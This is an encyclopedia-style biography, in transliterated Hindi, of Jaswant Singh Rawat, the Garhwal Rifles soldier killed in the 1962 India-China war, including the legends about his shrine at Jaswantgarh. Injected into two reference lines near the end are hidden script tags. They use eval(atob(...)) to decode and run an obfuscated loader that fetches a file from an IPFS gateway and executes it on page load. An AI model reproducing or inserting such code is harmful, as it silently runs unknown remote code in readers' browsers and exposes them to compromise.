जसवंत सिंह रावत
thumb|200px|jasavant sianh ravat jasavant sianh ravat (aangrezi: Jaswant Singh Rawat, janm- 19 agast, 1941; shahadat- 17 navanbar, 1962) bharatiy thal sena ke jaanbaj sainikoan mean se ek the. uttarakhand ki pavan bhoomi ek or dharmik, adhyatmik evan saanskritik anushthan ki sthali rahi hai, vahian yah bhoomi anyanek vir evan viraanganaoan ki janm sthali bhi rahi hai. is k di mean soobedar balabhadr sianh negi, 'viktoriya kras' vijeta soobedar daraban sianh, 'viktoriya kras' vijeta rayaphalamain gabbar sianh negi, karnal buddhisianh ravat, mejar harshavardhan bahuguna adi ke nam amar haian. 1962 ke bharat-chin yuddh mean 72 ghante tak akele b aaurdar par l dakar shahid hone vale bharatiy sainik jasavant sianh ravat aj bhi amar haian. 24 ghante unaki seva mean sena ke paanch javan lage rahate haian. yahi nahian, rojana unake jootoan par p aaulish ki jati hai aur kap de pres hote haian.
parichay
desh ki raksha ke lie apane pranoan ka utsarg karane vale rayaphalamain jasavant sianh ravat ka janm 19 agast, 1941 ko gram badayoo patti khatali, paudhi (gadhaval) mean hua. inake pita guman sianh ravat deharadoon mean miletri deyari pharm ke karmachari the. unaki mata ka nam lilavati tha. inake bhaee vijay sianh evan ranavir sianh haian. nauvian kaksha tak shiksha prapt karane ke bad jasavant sianh ravat ke mama pratap sianh negi, sevanivritt mejar ne unhean 16 agast, 1960 ko chauthi gadhaval rayaphal lainsadaun mean bharti kara diya. unaki treniang ke samay hi chin ne bharat ke uttari sima par ghusapaith kar di thi. dhire-dhire uttari-poorvi sima par yuddh shuroo kar diya. sena ko kooch karane ke adesh diye gaye. chauthi gadhaval rayaphal nepha kshetr mean chini akraman ka pratirodh karane ko bheji gee.
jasavant sianh ravat ke poorvaj gadh-kaanda-guradagadh ke adhipati vir senani bhupu raut evan tiloo rautali the, jo gadhaval ke raja ke darabari the. inhoanne apane adamy sahas v anukaraniy virata ke karan gadhaval ke itihas mean apana nam samman se darj karaya hai. tiloo rauteli ko to 'gadhaval ki rani lakshmibaee' bhi kaha jata hai.[1]
chini akraman
prashikshan samapt karate hi 17 navambar 1962 ko chauthi gadhaval rayaphal ko nepha, arunachal pradesh ki tavaang voo nadi par nooranaang pul ki suraksha hetu lagaya gaya tha, par chini sena ne hamala bol diya. yah sthan 14,000 phit ki ooanchaee par tha, chini sena tiddiyoan ki tarah bharat par toot p di. chini sainikoan ki adhik sankhya evan behatar saman ke karan sainik hatahat ho rahe the. dushman ke pas ek midiyam mashinagan thi, jise ki ve pul ke nikat lane mean saphal ho gaye. is el.em.ji. se pul v platoon donoan ki suraksha khatare mean p d gee thi.
morche par adig
yah sab dekhakar jasavant sianh ravat ne pahal ki v mashinagan ko lootane ke uddeshy se apane apako svechchha se samarpit kar diya. tab unake sath lansanayak trilok sianh v rayaphalamain gopal sianh bhi taiyar ho gaye. ye tinoan jamin par reangakar mashinagan se 10-15 gaj ki doori par thahar gaye. unhoanne hathagoloan se chini sainikoan par hamala kar diya. unaki el.em.ji. le aye aur goli barasane lage. jasavant sianh ravat ne bahaduri dikhate hue bairak nan. 1, 2, 3, 4 evan 5 se nirantar, kabhi bairak nan. 1 se to kabhi bairak n. 2 se goliyoan ki varsha kar shatru ko 72 ghante roke rakha. vah kabhi ek bankar mean jate, vahaan se goli chalate, phir doosare bankar mean jate. unhean sthaniy mahila shila ne b di madad di. unhean gola barood v khady samagri nirantar upalabdh karavayi. jasavant sianh ravat deshabhakti ke divane the. vah nirantar goliyaan chalate rahe. unhean us samay paramapita paramatma ne asim shakti pradan kar di thi. unaki poorvaj vir bala tiloo rauteli unaki adarsh thian. is rananiti ke karan dushman yah samajhata raha ki bharatiy sena b di matra mean unhean rok rahi hai.
shahadat
1962 ke is bhayankar yuddh mean 162 sainik viragati ko prapt ho gaye. 1264 ko dushmanoan ne kaid kar liya. 256 sainik barphili havaoan mean titar-bitar ho gaye. us samay bharatiy sena ke pas yuddh ke anukool gola-barooddh, yuddh ka sajo saman bhi nahian tha aur n hi unaki taiyari thi. vahaan par math ke gaddar lama ne chini sena ko bataya ki ek adami ne apaki briged ko 72 ghante se rok rakha hai. is samachar ke bad unhoanne chauki ko charoan or se gher liya aur jasavant sianh ravat ka sar kalam karake apane senanayak ke pas le gaye. chini sena ke dib kamandar ne samman ke sath unaka shav sandook mean bandakar ek patr ke sath bhejaan ki- "bharat sarakar bataye ki is vir ko kya samman deange, jisane 3 din v 3 rat tak hamari briged ko roke rakha." vir to vah hai, jisaki virata ka shatru bhi samman kare. tejapur se tavaang rod par 425 ki.mi. par shilalekh par viragati prapt shahidoan ke nam aankit haian v unaki smriti svaroop samadhi mandir banaya gaya hai.
laiphtinent janaral kaul ne apani pustak 'di anatold stori' mean likha hai ki- "jis tarah se chin ka yah yuddh gadhaval rayaphal ke sainikoan ne l da, usi tarah any bataliyan bhi yuddh l dati to is yuddh ka parinam kuchh aur hi hota. nepha ki janata jasavant sianh ravat ko devata ke roop mean poojati hai aur unhean 'mejar sahab' kahati hai. unake samman mean jasavant gadh bhi banaya gaya hai. unaki atma aj bhi desh ke lie sakriy hai. sima chauki ke paharedaroan mean se yadi koee dyooti par sota hai to vah use chata marakar chaukanna kar deti hai.
samman
hiro aauf nefa jasavant sianh ravat ko maranoparant 'mahavir chakr' pradan kiya gaya evan sena dvara unaki yad mean har varsh 17 navambar ko 'nooranaang divas' manakar amar shahid ko yad kiya jata hai.
aj bhi mustaid
vahaan rahane vale javanoan aur sthaniy logoan ka manana hai ki jasavant sianh ravat ki atma aj bhi bharat ki poorvi sima ki raksha kar rahi hai. unake nam se nooranaang mean jasavantagadh nam ka b da smarak banaya gaya hai. yahaan shahid ke har saman ko sanbhalakar rakha gaya hai. desh ke khatir shahid ho chuke jasavant sianh ravat ke jootoan par yahaan rojana p aaulish ki jati hai aur pahanane-bichhane ke kap de pres kie jate haian. is kam ke lie sikh rejimeant ke paanch javan tainat kie ge haian. yahi nahian, roj subah aur rat ki pahali thali unaki pratima ke samane parosi jati hai. bataya jata hai ki subah-subah jab chadar aur any kap doan ko dekha jae to unamean silavatean najar ati haian. vahian, p aaulish ke bavajood joote badarang ho jate haian.[2]
milate haian pramoshan aur chhuttiyaan
jasavant sianh ravat bharatiy sena ke akele sainik haian, jinhean shahadat ke bad pramoshan milana shuroo hua. pahale nayak phir kaiptan aur ab vah mejar janaral ke pad par pahuanch chuke haian. unake parivar valoan ko poora vetan pahuanchaya jata hai. ghar mean vivah ya dharmik karyakramoan ke avasaroan par parivar valoan ko jab jaroorat hoti hai, tab unaki taraph se chhutti ki arji di jati hai aur manjoori milate hi sena ke javan unake tasvir ko poore sainik samman ke sath unake uttarakhand ke pushtaini gaanv le jate haian. vahian, chhutti samapt hote hi us tasvir ko sasamman vapas usi sthan par le jaya jata hai.
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tika tippani aur sandarbh
- ↑ jasavant sianh ravat, nepha ka hiro (hiandi) umjb.in. abhigaman tithi: 17 mee, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ ek shahid sainik, jisake kap de aj bhi pres hote haian aur mil rahe haian pramoshan (hiandi) bhaskar.com. abhigaman tithi: 17 mee, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- ek sainik, jise maut ke bad bhi mil rahe haian pramoshan
- ek sainik ki atma jo kar rahi hai 50 sal se desh ki seva
sanbandhit lekh
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